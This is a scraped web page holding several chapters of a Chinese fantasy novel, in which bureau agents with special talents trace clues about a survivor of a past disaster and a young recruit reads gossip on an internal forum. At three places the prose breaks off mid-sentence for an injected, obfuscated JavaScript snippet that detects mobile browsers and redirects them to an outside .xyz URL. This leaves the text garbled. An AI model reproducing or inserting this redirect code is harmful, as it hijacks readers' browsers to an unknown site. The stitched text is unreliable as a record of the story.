阮砚瞳只见过席溪两次,第一次是和阮青见去人造海的时候,那时候她还小,没留下什么印象。上一次是澄渊学院的开学典礼上,席溪作为代表发言。 这是她成年后第一次近距离接触席溪,这个污染物处理局的现任局长、最高指挥官。 席溪一身黑衣,盘着头发,眉眼冷峻,不苟言笑。见她们三个进来也没多余反应,始终皱着眉翻看摊在桌面上的几份资料。 和席溪一起的,还有调查部部长钟烛。钟烛看着年纪不大,但双眼如猎豹般炯炯有神,在资料上不停做着标记。 阮砚瞳她们三人入座了5分钟后,会议室里依然沉默,但没有人询问或提醒。 席溪能坐到这个位置上,压迫力超乎常人,在她的场域下,会让人不自觉地忘记质疑她的所作所为。 又过了几分钟,会议室的门再次被推开。 阮砚瞳看到进来的人时,微微讶异。她以为她们在等什么高级别的领导,但来的人是她的好朋友,乔时与。 乔时与明显是赶过来的,进入会议室后,努力调整着自己的呼吸节奏。 她也没说话,但发现阮砚瞳也在这儿的时候,眼里倏地闪过一丝光,淡定地走到阮砚瞳身边的座位坐下。 阮砚瞳的脑控里立刻收到好几条信息。 “什么情况?天塌了吗?” “局长为什么找我们开会?天塌了也轮不到咱俩顶吧?” 阮砚瞳轻轻扭过头看了看乔时与,她还是一脸的气定神闲,但小心翼翼给阮砚瞳使了使眼色。 淡定都是她装的,她拼命克制自己不要在局长面前乱了分寸。 阮砚瞳调侃:“乔老师也会因为见领导慌啊。” “我一个小透明,突然被局长召见,谁都要慌一下吧。” “领导要我来跟局长开会的时候,我以为我触犯了什么天条,要到局长亲自送我上路的程度。” “到底什么事啊,急死我了。” 乔时与连发了三串信息,看出来真的很急了。 阮砚瞳想了想,还是没有透露的太明了。 “刚才在污染区找到一些资料。” 阮砚瞳补充了一句。“跟人造海事件有关。” 乔时与冷静下来,没再回复半个字。 仅仅是“人造海”这一个关键词,就足够表明这个事情有多重要。 “乔时与。”席溪终于开口。 “在。”乔时与上半身微微前倾,方便席溪看到她。 “你的天赋是【痕迹追踪】?” “对。” “目前的能力情况是?” “能追踪到关联信息,但清晰度和成功率受时间和关联性的影响。” “12年前的信息,能追踪到吗?”席溪直入主题。 “可以试试。看关联性强弱。”乔时与直视席溪。 几个简短但准确的对话下来,阮砚瞳都隐隐感到紧张,但乔时与完全没生怯。 席溪:“过来。” 乔时与起身走到席溪身边。席溪把林安时拿回的病例推到乔时与面前。 “试试这个能追踪到什么。” 乔时与伸手拿起病历本。 尽管她表面很淡定,但指尖的轻微颤抖还是被席溪捕捉到了。 “轻松点。没要求你必须成功。”席溪说这话的时候依旧没露出什么表情。 “我尽力。”乔时与礼貌地笑了一下。 乔时与将掌心覆上泛黄的病历,合上眼帘,任由意识沉入黑暗的河流。混沌中,她全神贯注地在黑暗中寻找光点。 她摸到一个碎片,是一个女人。 乔时与开口:“有个女人,胸上有个名牌,写着齐芳。” 席溪扫了一圈桌子上的文件,在档案堆中一挑,皙颜美容院的院长资料被推到乔时与面前。 “她吗?” 乔时与看了看齐芳的照片。 “对。” “很好。” 席溪拿起叶禾的资料,摆到乔时与面前,然后打开病历本,让乔时与知晓全部信息。 乔时与垂眼扫过病历的内容,睫毛忽然一颤。 叶禾可能没死? 席溪开口把她从震惊的情绪里拉回来。“再试试能不能追到相关信息。” 叶禾是事发后十天之后进入皙颜美容院的,很有可能是经人引荐。她这十天里在哪里,很重要。 事关重大,尽力而为。 乔时与深吸一口气,将全部精神集中在手中的病例上,再次闭眼。 她觉得自己的精神在黑暗里狂奔,以冲刺的速度跑着长跑。乔时与的呼吸变得急促,眼球迅速转动,随即感到一阵眩晕。 她的视网膜上闪着一些支离破碎的画面,画面似乎也在奔跑颠簸:晃动的天花板、闪过的走廊... 乔时与努力看清楚细节,但抵挡不住晕眩感加重,她整个人的身子朝前倾过去。 乔时与撑住桌子,睁开眼,大口呼吸。 离她稍近些的林安时伸手扶了一下,待她平稳下来,才松开手。 席溪没有说话,等待着乔时与开口。 乔时与清醒过来,仔细回忆着刚才看到的画面。画面本就不太清晰,又伴随着高速移动,无法分辨出任何场景的信息。 她眯了眯眼睛。她刚才好像看到一个东西。 乔时与咽了咽喉咙,开口说:“一个logo,红绿相间。” 席溪眼睛一亮。把手中的笔递给乔时与。“画下来。” 乔时与犹豫了一下,然后接过席溪手里的笔,把手边的纸张翻到过背面,开始作画。 整个会议室只有笔尖摩擦在纸上的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004238|176272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。乔时与一笔一画画了几分钟,所有人都在耐心等待。 完成了。乔时与把纸交给席溪。 席溪看到画,立刻皱起眉,明显想要说写什么,但又极力克制住。 这是这场会议以来,席溪第一次出现如此复杂的神情。 她最终还是放弃开口,转为抬头质疑的看了一眼乔时与。 乔时与眼神心虚地闪躲开。 在场除了席溪和乔时与,恐怕只有阮砚瞳清楚发生了什么。阮砚瞳跟乔时与熟知多年,类似的场面见过好多次。 乔时与画画...非常灵魂。 因为天赋的特性,老师特意安排乔时与练过画画,但结果屁用没有,她就跟手和脑子没长在同一个人身上一样,对这方面一窍不通,气的美术老师说什么都不教了。 上帝给她开了一扇门,但焊死在了地面,只留下一个固定的开合角度。 局长到底是见过大风大浪的人,没因为这点小涟漪失了风度。席溪把纸递给钟烛。 “调查部抽出一组人,立刻搜出来这是哪儿的logo。” “没问题。”钟烛说完这句话,接过乔时与的大作。 她看了一眼就后悔自己把话说的太满了。这什么东西。 钟烛通过脑控给下属发消息:调查部全体,放下手中工作,都给我集中排查这个logo。 在等待结果的时间里,钟烛询问席溪。“席局,人造海事件的优先级需要调整到前面吗?” “人造海”事件的疑点太多,但时间过去太久,之前也一直没有排出新线索。虽然局里从未关闭这起事件的调查任务项,不过在人手有限的情况下,逐渐被其他更紧迫的案件所覆盖。 席溪考虑了一下,开口:“明面上先不要有动作,免得打草惊蛇。” “这件事你亲自办,最多只能再有一个你信的过的人知情。”席溪嘱咐。 钟烛:“明白,我派人追的时候会把信息切碎模糊处理。不会再让多余的人了解内情。” 席溪没再说话,算是对这种处理方式表示认可。她的视线一刻不移地盯着叶禾资料上的照片。 作为亲历者,没有人比席溪更了解那场事故。作为队友和队内最好的朋友,也没人比她更熟悉叶禾。 如果叶禾真的没死,为什么不来找她。 是不能,还是不愿意? 照片上叶禾神情轻松,露出淡淡的微笑。 席溪望着叶禾的眼神深邃而泠冽,像是冰面下的暗流。 答案无论是哪一个,都很棘手。 十分钟后,钟烛收到信息,操作脑控把目前筛出的疑似logo投到屏幕上。 乔时与一一看过去,指向其中的一个。“这个。” 仁心医院 钟烛迅速调出仁心医院的相关信息。 仁心医院是一家综合类三甲医院,于一年前爆发污染,污染区评级为B级。污染爆发后作战中心曾经派进去过一个作战队处理,但不幸全军覆没。 污染区等级不是顶级,但却能有如此大的杀伤力,实际情况应该很麻烦。 仁心医院清理风险大,但所处位置远离市中心,在封锁状态下没有扩散的迹象,没有造成其他人员伤亡,于是暂时被搁置了。 席溪用手抵住脸,若有所思。 两个和叶禾相关的地点都是污染区,这绝不是偶然。有人刻意隐瞒什么,或是也在追这条线,给其他人制造困难。 还有一个可能。 叶禾故意要引导人发现。 21.怀疑 但席溪没有别的选择。 就算是个陷阱,目前也只能往下跳了。她知道,她总会跟那次事件再次碰面的。 她一路拼尽全力坐到这个位置,就是为了那次事件重新来到她的面前时,她已经有能掌控全局的能力。 席溪把注意重新集中回仁心医院。 从资料上来看,仁心医院面积并不小,主要分为住院区和门诊中心两个区域。 席溪问乔时与:“有可能再缩小范围吗。” 乔时与一点不客气地提出需求:“我需要更多的图像资料。” 很快,钟烛调出了仁心医院内部的图像。 乔时与迅速记忆,然后带着这些画面再次对病历使用【痕迹追踪】。 “住院部。”乔时与简洁明了。 席溪按动手中的笔,发出咔咔的声响。 “三天后,林安时带队,去仁心医院。” “我会配另一个小队一起,但你们仨的首要目标是找到叶禾的相关线索。” “相关信息严格保密。” “乔时与随时等候调遣。” “散会。” 林安时应下来。随后,除了席溪和钟烛以外的人都起身离开会议室。席溪安排的直接了当,但凡有点眼力价都知道赶紧走。 乔时与要离开的时候,钟烛拦住了她。“乔时与,你的天赋很适合调查部,要转过来吗。” 钟烛眨眨眼睛,引诱她。“薪资待遇很不错哦。” 乔时与看着钟烛,片刻没有思考。“不了。没有跳槽的打算。”乔时与回答的简单干脆。说完就走出会议室。 钟烛因这个毫不委婉的拒绝略显尴尬,摊了摊手。而席溪听到乔时与的回复,露出一个不易察觉的微笑。 新一代的年轻人个性十足,很不错。 阮砚瞳跟在乔时与后面走出会议室,心里惊叹。当着局长的面拒绝部长,牛的一批。 阮砚瞳时常觉得自己因为跟乔时与太熟,而忘记她的本来面目。这个人不管实际碎叨的话再多,但最后对外展现出来的行为绝对是个狠角色。 阮砚瞳跟乔时与揶揄:“真酷啊乔老师,感觉再过几年可以跟你混了。” 乔时与白了她一眼。她不是为了刻意装酷,她心里有别的考虑。调查部跟人打交道太多,她不乐意,她平时都不怎么跟人说话。 而且听说临时加班也很多。 乔时与:“谁爱去谁去,反正我不想。就钟烛的那个天赋,找借口请个假都费劲,谁要上赶着去碰。” 阮砚瞳听着一头雾水:“钟烛什么天赋?” 乔时与看阮砚瞳像看一个土包子。“你怎么什么都不知道,完全不刷论坛吗?” 乔时与说的论坛是污染物处理人员的内部论坛——终结者论坛。几乎所有和污染相关的从业者都会关注论坛,里面有各类型与污染物相关的信息。 当然,也少不了各种八卦。 澄渊学院是面向污染物处理人员定向培养的学院,里面的学生也算半个从业者了,所以她们从上学时候就注册进了论坛。 阮砚瞳:“最近没咋看。” 前一阵她一直待业在家,刷业内论坛只会增加她的焦虑,索性就不打开。最近几周又忙着出任务,跟本没空看。 乔时与:“我回去拉你进处理局的内部组。” 阮砚瞳点点头。她现在也确实有很多疑问想去论坛上搜的。从发现叶禾可能没死的信息开始,一直有一个疑问在她脑海中盘旋。 人造海事件出现了其他的幸存者,这意味着之前那个“除了席溪,其余4名澄渊队队员全部牺牲”的定论被推翻了。 那阮青见呢?阮青见是不是也有那么一点点可能,没有死。 阮砚瞳控制不住自己往这方面想。 但席溪全程没有提这点。 阮砚瞳知道,即使她问这个问题也是白问。叶禾的事情都还是个谜团,更没有人能对她毫无根据的的猜测给出确切的答复。 反而是野生分析贴毫无顾虑,没准能扒出点什么信息,她准备试试。 乔时与同阮砚瞳告别,她要回科研中心继续处理工作。离开前她敏锐地察觉到阮砚瞳在想什么,拍了拍她的肩膀。“别想太多,走一步看一步。” 阮砚瞳无所谓地笑着回她:“我没事。” 乔时与走后,林安时朝阮砚瞳望了望,最后还是不放心地走到她身边嘱咐。“下一个任务比较危险,是场硬仗。这两天好好休息,做好准备。” 林安时看着有些为难。 “这个任务的难度对你来说超出能力范围了,但情况比较特殊,没办法拒掉。” 阮砚瞳急忙摆了摆手。这都什么,哪轮得到林安时跟她愧疚。作为作战员,她这点觉悟还是有的。 该来的迟早会来的。 况且,这是跟人造海相关的事情。 --- 会议室里,钟烛有些担忧地问席溪。 “阮砚瞳是F级新人,要她参与B级污染区仁心医院的任务,是不是有点太危险了。” 席溪神情微妙,侧头问钟烛:“你想说什么?” 钟烛犹疑片刻,还是小心翼翼说出来。“毕竟是阮青见的女儿,是不是应该...” 席溪料到她会如此说,打断钟烛。“她首先是作战中心的作战员。难不成还要给她特殊照顾?” 席溪用不容质疑眼神询问钟烛。 按钟烛之前的判断,她觉得席溪会因为念及和阮青见的旧情,而多少照顾一下阮砚瞳。但现在看来完全不是这样。 钟烛垂下眼,仍小声地试探着。“她能进林安时的队难道不是...” 席溪听闻这句话,移开盯着钟烛的视线,迅速打断她没说完的话,转移话题。 “你怎么看叶禾的线索。” 钟烛识趣,不再继续之前的话题,开始认真分析起来。 “我可以确定这份病历是真实的,除非这世界有一个和叶禾同名同姓且相同样貌的人制造出这个假象,不然逃不过我的眼睛。”钟烛对这点万分确认。 “如果叶禾没死,那她可能是人造海事件唯一的突破口。” 钟烛顿了一下。 “但她消失了整整12年。” 钟烛问席溪:“你之前怀疑过,人造海事件是有人刻意布局的陷阱。” 席溪看向钟烛,没有说话。 钟烛:“你觉得叶禾会是那个人吗?” 钟烛继续追问:“或者叶禾的出现,会让幕后的真相浮现吗。” 席溪没有立刻回答,沉默地看着钟烛。 半晌,席溪终于开口:“不好下定论。” 简短的回答后,席溪继续沉默地盯着钟烛,眼神冷峻。 会议室里安静的发慌。 在无声的僵持下,钟烛率先败下阵来,匆忙回复。“那我继续往下查。”钟烛避开席溪的眼神,露出一丝轻微的慌乱。 席溪缓缓开口。 “你刚才。” 她不紧不慢地质问。 “对我用了天赋吗?” 钟烛心下一惊。 席溪的眼睛冷冰冰地看着她,等待着她的回答。 钟烛额头上渗出细汗。她盯着桌面,沉默不语。 她没有否认。 她的天赋在使用过程没有痕迹,按理说不会有任何人能够发现。但席溪太敏锐了。 席溪不是依靠天赋异禀坐到局长的,她能坐到这个位置,凭的是准确的判断、优异的管理能力、坚决地执行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018205|176272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力,还有超乎常人的意志。 钟烛在席溪质疑的压迫下捏紧了手心,她感受到自己手心里的潮湿。她很紧张。 她怀疑局长,还被识破了。这对上位者来说,是莫大的失敬。 她只能静静地等着审判的到来。 “挺好的。” 出乎意料地,席溪没有指责她。 钟烛惊讶地抬起头,看到席溪冲她笑了笑。 席溪很少笑,这让她的笑弥足可贵,钟烛以为自己看错了。 席溪解释道:“对真相忠诚,就要有质疑所有人的勇气和决心。” 席溪说完,不再继续对这个事情的讨论,整理桌面上的资料。 钟烛怔了怔。刚刚不仅是虚惊一场,还收获了夸奖,对她来说本应该是好事。 但她一时分不清,席溪的这句话是肯定,还是提醒。 席溪打断她的思绪:“你还有其他事要汇报吗?” 钟烛回过神,想起还有一件事。“有的。我发现林安时这两次任务中的数据有一点小异常。” 钟烛办事严谨细致,她负责的项目,都会提前做好调研,把相关信息都排查一遍。 今天接到席溪的通知,了解了具体内容后,她把林安时、阮砚瞳、姜岑近期的信息和数据都过了一遍。 阮砚瞳的身份和情况她已经了解充分,姜岑近期也没有什么异常值得注意。但林安时这两次任务的数据引起了她的关注。 作战中心每个作战员在任务期间的所有数据都会上传至数据库,作战员在任务期间都会打开脑控对任务过程进行全记录,以做备份。 钟烛查看了林安时之前的数据。林安时各方面素质很好,但在作战员的评级中,天赋决定等级上限。林安时的天赋状态近两年一直稳定在B级的数值区间内,没有任何上升的迹象。 “在最近两次的任务中,林安时的瞬时天赋能力值达到了A级标准。” 席溪挑了下眉。 于公于私,她都很乐意看到林安时的天赋上涨。但现在这个节点,确实有些敏感。 席溪没有对此表露态度,反问钟烛。“你有推断?” 钟烛摇摇头。“目前还找不出原因,也有可能是自然增长。” 如果是自然增长,那是再好不过的。“但并不排除是受外力干扰。毕竟按数据来看,她的天赋等级应该很稳定了。” 席溪思考了一会儿说:“继续看发展吧。” 钟烛点头。“仁心医院的任务结束之后,我安排她重新做一次天赋等级评估。” 瞬时天赋数值不稳定,还要结合日常数值来看才好判断。但也不算是什么大问题,这几天就别折腾人了,给她们留时间好好调整。 “结束了?”席溪问。 “结束了。”钟烛回复。 席溪点了点头,拿起资料走出会议室。 钟烛目送席溪的背影离去,然后转过头,收拾自己的东西。 她虽然是调查部的部长,已经算是和席溪接触最频繁的几个人之一,但她和席溪打交道的时间依然非常有限。 钟烛是调查员出身,天然对人和事有更多的兴趣,她很有兴趣挖掘席溪到底是怎么样的一个人。 有的时候钟烛会觉得,这个站在权力之巅的女局长虽然很冷酷,压迫感十足。但她本质无意压制别人,或是彰显上位者的权力。 她只是准确。 准确地判断,准确地回复,准确地质疑。 可能只有一直让自己处于这种准确的状态里,才能以最大的效率,处理那么多的事情。 这么多年一直保持这样的状态,应该很不容易,钟烛微微摇头。 钟烛把叶禾的资料放到最上面。 你呢?你又是什么样的人? 22.终结者论坛 阮砚瞳回到家,看到小姨正抱着个枕头,躺在客厅的地板上看电视剧,一只手里还拿着什么东西啃着。 “还没走呢?” 阮由苜这次没突然消失,让阮砚瞳很意外。她迈过小姨的腿,跟她搭了句话。 阮由苜看到阮砚瞳回来,按下暂停键,起身跟着追到她的屋子里,把手里的饼伸到她嘴前。 “尝尝。” 阮砚瞳看了看她手里的饼,没看出有什么特别的,这不就是千层饼吗。 “网上说这饼每层都有一个口味,一共10种口味混在一起。可多人买了,我排了一小时的队。”阮由苜又把饼凑近了一点。 阮砚瞳迟疑地咬了下去,认真嚼了嚼。 第一口怪怪的,但越嚼越觉得有些上头。阮砚瞳忍不住又咬了一口。 “是不是很奇妙。”阮由苜把好吃的推荐出去,自己也很开心。 阮砚瞳点点头。然后又想到什么了,轻轻推开阮由苜的手。 “可以了,你自己吃吧。”阮砚瞳想到今天那些医生护士企图谋害她的话。“前几天跟你吃炸鸡,吃的我今天差点被污染物套路了。” 阮由苜是个美食爱好者,每次回来都领着阮砚瞳吃一堆好吃的。她回来两天,能让阮砚瞳两周的训练都白练。 “这还能怪我哦。”阮由苜一脸无辜,啃了一口饼,在阮砚瞳书桌前的椅子上盘着腿坐下。 “今天任务怎么样。” 阮砚瞳:“有点恶心,但也算顺利解决了。” 阮由苜疑惑:“那怎么搞到这么晚。” 阮砚瞳中午出去的,现在都快9点了才到家。 阮砚瞳停下了手中的动作,思考了一下。她是因为回去开了个会才到这个点的。 但她要是如实说了,阮由苜肯定要追问,这个会的内容能跟她说吗?席溪说保密,这个范围,包括阮青见的直系亲属吗? 阮由苜看她这副踌躇的样子,更好奇了。“怎么了,发生什么事了。” 阮由苜像个看热闹不嫌事大的吃瓜群众,迅速坐到阮砚瞳身边,用胳膊肘拱她。“说说啊,啥事。” 阮砚瞳没有回应阮由苜八卦地提问,转过头注视着阮由苜,严肃地反问她。 “你觉得我妈有可能没死吗。” 阮由苜没想到她会突然问出这个问题,脸上戏谑的笑容逐渐消失,不知该如何回答。 但阮砚瞳迅速回到了刚才的神态,继续整理物品。仿佛她刚才问出的那句话,只是阮由苜的幻听。 “我去洗个澡。”阮砚瞳收拾完东西,扔下还愣在一旁的阮由苜,朝屋外走去。 阮砚瞳走到门口,停住脚步,纠结地挠了挠头。她还是不想完全瞒着阮由苜。她跟小姨之间从来没有过什么秘密。 她是阮青见的妹妹,和阮青见相处的时间比她还要长。她也想要知道阮青见到底为何而死。 阮砚瞳回头,对阮由苜说:“人造海事件有新的进展。” 具体的等搞清楚了再告诉她吧。阮砚瞳给阮由苜留下一句模糊不清的信息,钻进了浴室。 --- 阮砚瞳洗完澡,小姨已经回自己的卧室了。 正好,她也不想阮由苜没完没了的追问她。 阮砚瞳扑倒在床上,打开终结者论坛。一登陆,她就看到了乔时与的邀请信息。 【您的好友 麻辣秃头邀请你加入作污染物处理局讨论组】 阮砚瞳点击同意,跳出了一个号码填写框,最上面有一排提示。 本组入组方式为内部邀请+员工档案码审核,仅限作战中心内部人员入组,身份信息将被严格保密。 阮砚瞳皱了皱眉,还要输入档案码?这不会掉马吗?而且她没记错的话,污染物处理局所有员工的档案码都是涉密信息,一般层级的人接触不到。 这个组不会是官方建的吧,那她可不想进。她给乔时与发信息表达自己的疑惑。 乔时与:不是官方组,这个组就是单纯靠排除重复的号码做身份审核。 乔时与:要是你跟人填重了,才会被拒。你自信的话瞎填也行。 乔时与:放一百个心,你进来就知道了,这里骂局长的都有。 既然乔时与都这么肯定了,那应该不会有什么问题,乔时与可是论坛十级大佬。 阮砚瞳把档案码提交,迅速收到了通过审核的系统通知。 不过阮砚瞳也只知道乔时与这一个现实人的论坛马甲。大家都把身份捂的死死的,生怕哪天肆无忌惮扒料和骂人时被发现。 论坛就是用来干这个的。这不,她点进组里就看到一个熟悉的名字。 “林安时真是关系户吗” 自己认识人的八卦,是真是假都很难不点进去看一下。 “听说席溪要培养林安时当作战部的老大?有人说说吗,她到底啥关系?一个B级能让局长亲自培养?” “楼主不知道吗,席溪最后两年当小队长的时候,林安时进的她队。好像一开始就是席溪带起来的。” “运气真好啊,上来就抱上最大的大腿了。” “但再怎么说,作战部里A级S级不也好多个吗,就因为这个私交,部长的位置就能轮到她?席溪应该不是那种人吧。” “舔吧,听说她把席溪当偶像。” “舔个屁,楼上的认识林安时吗就在这放屁?这人我接触过,能力很强人也很好,我觉得没毛病。” 总算有一个替林安时说话的了,但好评真的没什么人在意,八卦和猜测才惹人眼球。下面又是一堆暴论。 “她刚入职的时候评级好像是D还是E来着,现在到B估计也是极限了。跟席溪一样都是非天赋流,一个路子的,惺惺相惜了吧。” “有句话不知当讲不当讲,席溪能做上局长也就是运气。” “同意。当年澄渊队第一是阮青见没跑了,但论天赋能力,第二是叶禾吧。席溪有今天,真实的诠释了什么叫活下来就赢了。” 真犀利啊。这论坛的确不是官方的,言论也太自由了。他们敢说,阮砚瞳都不敢往下看了。 不过她已经得到了重点消息,林安时和席溪关系匪浅啊。 阮砚瞳回想了一下,当时姜岑跟她说自己的偶像是阮青见的时候,林安时在一旁没附和,原来她的偶像是席溪。 阮砚瞳继续往下划了划,猝不及防地刷到了跟自己有关的帖子。 “听说阮青见的女儿入职作战部了?” 靠,这听谁说的。 阮砚瞳颤抖着点开帖子。她的身世不会已经人尽皆知了吧。 “阮青见的女儿好像就是这届毕业,这个时候也应该入职了吧,你们知道是哪位大佬吗?” “今年有个C级新人,叫唐筝,是不是她啊。” “应该不是吧,如果是的话不早就人尽皆知了,女神的天才女儿。” “不是不是,我问过,她否认了。” “楼上的你没问问她,谁是阮青见女儿吗,如果真是一届的没准知道。” “问了,她没理我。” “说不定她就是呢,人家不想太张扬。” 阮砚瞳放松下来。还好还好,没出现自己的大名。 但再往下看,阮砚瞳的表情开始难看起来。 “散了吧,听说阮青见的女儿没觉醒天赋,估计早就退学了吧。” “我靠,这么不争气的吗。” “这些二代怎么一点能耐没有啊。” “真他妈废物啊,浪费我偶像的优秀基因。” 类似的言论盖了一层又一层,阮砚瞳没有找虐倾向,不好看就别看了,她打算退出。 但下面有个熟悉的ID吸引了她的视线。 麻辣秃头:“干你屁事傻逼。” “你激动什么,不会是废物本人吧。” 麻辣秃头:“人妈是阮青见,你有妈吗?” “你谁啊你有病吧。” 麻辣秃头:“我是你祖宗,龟孙,怎么喂你吃屎都堵不住你的嘴。” 这帖子里一半的回复都是他俩在对骂。 看发帖时间,麻辣秃头跟人骂了一个晚上。最后对方可能是觉得她太难缠,留了一句随你便吧就下线了。 对方最后这条回复后面,麻辣秃头都追着骂了十条。 阮砚瞳的心情复杂,她本来不想理这些。但你说,有人这么努力的帮自己反黑,自己是不是也应该努个力。 她想了想,跟着麻辣秃头留了个言。 潜水小鲨鱼:“就是,干你屁事傻逼。” 八卦看完了,查查正事吧。阮砚瞳在组内的搜索框里输入钟烛的名字。钟烛的天赋是什么,阮砚瞳还不知道。 阮砚瞳找到一个相关的帖子。 “钟烛的天赋能保她一世富贵,真羡慕” 看来钟烛的天赋不是需要保密的那种,很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16023637|176272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多人都知道。 “钟烛年纪轻轻能坐到部长的位置,全都是靠她这个天赋吧。” “那确实,娘胎里带的羡慕不来。” “【辨伪】真的太bug了,天生调查员体质。而且听说她还是个工作狂。” “能力确实挺强的,但跟她打交道压力应该很大吧。” “她这天赋没朋友吧,但凡说一句假话就被识别出来了。” “你们不知道吗,她刚上任部长的时候,调查部经历了一轮大清洗。她把所有人都查了一遍,几个有猫腻的直接被揪出来扔出去了。” “噫,好恐怖,还好不是在她手下干活。我得提醒下师弟师妹,选部门避开调查部。” 看下来,阮砚瞳大概了解了。钟烛的天赋【辨伪】,能够分辨一切事物与话语的真伪。 怪不得这次会议席溪要把她叫上,那本病历她应该也已经辨过了。 看来叶禾真的没死啊。 阮砚瞳对钟烛的天赋还有一些疑问。真伪未知的事情她能判断吗?比如先有鸡还是先有蛋的问题。 应该不能吧,不然不成定理检测仪了,人类到底能不能战胜污染物,问她不就知道了。还不至于bug到这种程度吧。 阮砚瞳倒是觉得,钟烛这个天赋最大的bug不在辨伪,而是在于别人无法对她辨伪。 如果一个用来辨伪的人伪造出了什么,那迷惑性一定极大。 她的事清楚了,阮砚瞳开始搜人造海事件。但污染局内部组里关于这个的帖子寥寥无几。 污染物论坛目前的主要活跃的都是阮砚瞳这代人,算是阮青见晚辈了。人造海那片区域在事件后就全面封锁,到现在也没有解封,处理局的员工又都是正统教育出身,体制内员工,不会有人去碰这种要命的红线。 而那场事件的知情者,现在也基本都是局内中高层了,不会在论坛上发表什么推测。 阮砚瞳翻了几个,基本都是已经知道的信息,还有纪念阮青见的帖子,没太大用处。 阮砚瞳退出处理局的小组,看了看公区的贴子。 污染物处理局是官方组织之一,但这个世界里还有很多非官方的人员也在跟污染物打交道。 毕竟总有人不羁放纵爱自由,不稀罕这个编制,但做的事又与之相关。这些人中有拿处理污染当副业的,或者去给私企干需要天赋的高薪保安工作,又或者只是爱好。 官方并不阻止这些,处于危机时代,能够与污染物对抗的人类的力量越多越好。甚至还会发布一些赏金任务,以应对内部人力短缺的问题。 终结者论坛是所有与污染物有关人员的聚集地,事件和信息都在此流通,里面说不准就藏着一些神人。 阮砚瞳搜了搜,还真找到了野路子选手。 是半年前的一个帖子。发帖人叫006。 “前几天去了趟人造海。” 主楼放了几张图片,图中建筑一片废墟。 “楼主牛的,怎么进去的。” “这个杀伤力,建筑都这样,所有人都化成烟了吧。” “肯定的啊,不是说了在场174人全部死亡吗。” “这174人是时候筛查统计出来的,其实现场痕迹都查不出来,尸骨无存。” “这么看人的骨头还是脆啊,现在虽然医疗进步能迅速愈合,但人类的构造还是先天不足。” “不过,就没人怀疑过吗,尸骨无存这点。” “啥意思。” “如果啊,我是说如果,真有活着的人离开了,在她这个天赋的杀伤力下也能伪装成死亡。” “但这么久了也没看谁站出来说自己是目击者啊。” “我一直怀疑这个事不是意外事件,如果真的有预谋,那事后藏起来也正常。” “这事疑点太多了,到底是哪个人崩溃爆发的污染,官方到现在都没公布过。” “毕竟是造成严重后果的事件,爆出来了家里人会被攻击吧。” “我怀疑污染物不只一个,不然阮青见至于直接毁了一切吗?” “真有可能,反正肯定不是正常的S级污染物,不然阮神肯定搞得定。” 阮砚瞳看着帖子,陷入沉思。 百公里外,一辆迅速驶向市中心的移动仓中,另一双眼睛也盯着终结者论坛的界面。 她收到一条私信。点开只有一句话。 “她们查到你了。” 23.仁心医院(1) 阮砚瞳在家看了整整三天的医疗片。 仁心医院是个B级污染区,危机四伏,连林安时都一改之前无所谓的态度,面对这个任务表现出严肃和凝重,那她自己更不能轻视了。 医院里充斥着生离死别和人间悲欢离合,在那个场景太容易陷进去了,确实要提前做好心理准备。 阮砚瞳把有点名气的医疗片都翻出来看了个遍,她要在出任务之前把自己看到麻木,让心像杀了十年鱼那么冷。 人生死有命,苦难是经常的,分别是注定的,遇到了别过不去,看淡就好。 她边这么训练自己,边怀疑这份工作。 真是有够难的,你想要跟污染区内的那些东西对上话去挖线索,就必须先把自己带入进去,想象他们的人生,想象在他们身上会发生的事情。然后再理解他们,解开污染链。 但同时,又需要你适当冷漠点,才能控制好自己的情绪。 她现在能理解为什么很多人都选择暴力铲除污染了,两头矛盾的时候只能尽量保一头。但阮砚瞳没天赋,她只能在另一头发挥作用。 她想到的方式,就是要努力成为菩萨。既悲悯众人,又遥遥相望。 难干啊。这工作难干啊。 因为前一天看剧看到太晚,任务当天阮砚瞳差点没起来。她匆匆忙忙起床洗漱,然后一路小跑到作战中心。 虽然林安时通知她们这次在任务地集合,但阮砚瞳家离作战中心很近。这房子是阮青见的遗产,她为了上班方便就买在了附近。 自己花钱坐移动仓去还要走报销流程,说不定还得堵车,还不如来公司蹭车方便。 阮砚瞳背了个大包来到地下武器舱,准备扫荡一番。她总结前两次的任务经验得出结论,弄死污染是有天赋的大腿干的事,她自己只能跟尸鬼刚,但污染区的尸鬼又乌泱乌泱一大堆,靠拳打脚踢实在是效率太低。 既然实力不够那装备要搞全啊,差生文具多,因为差生就只有文具可拿了。 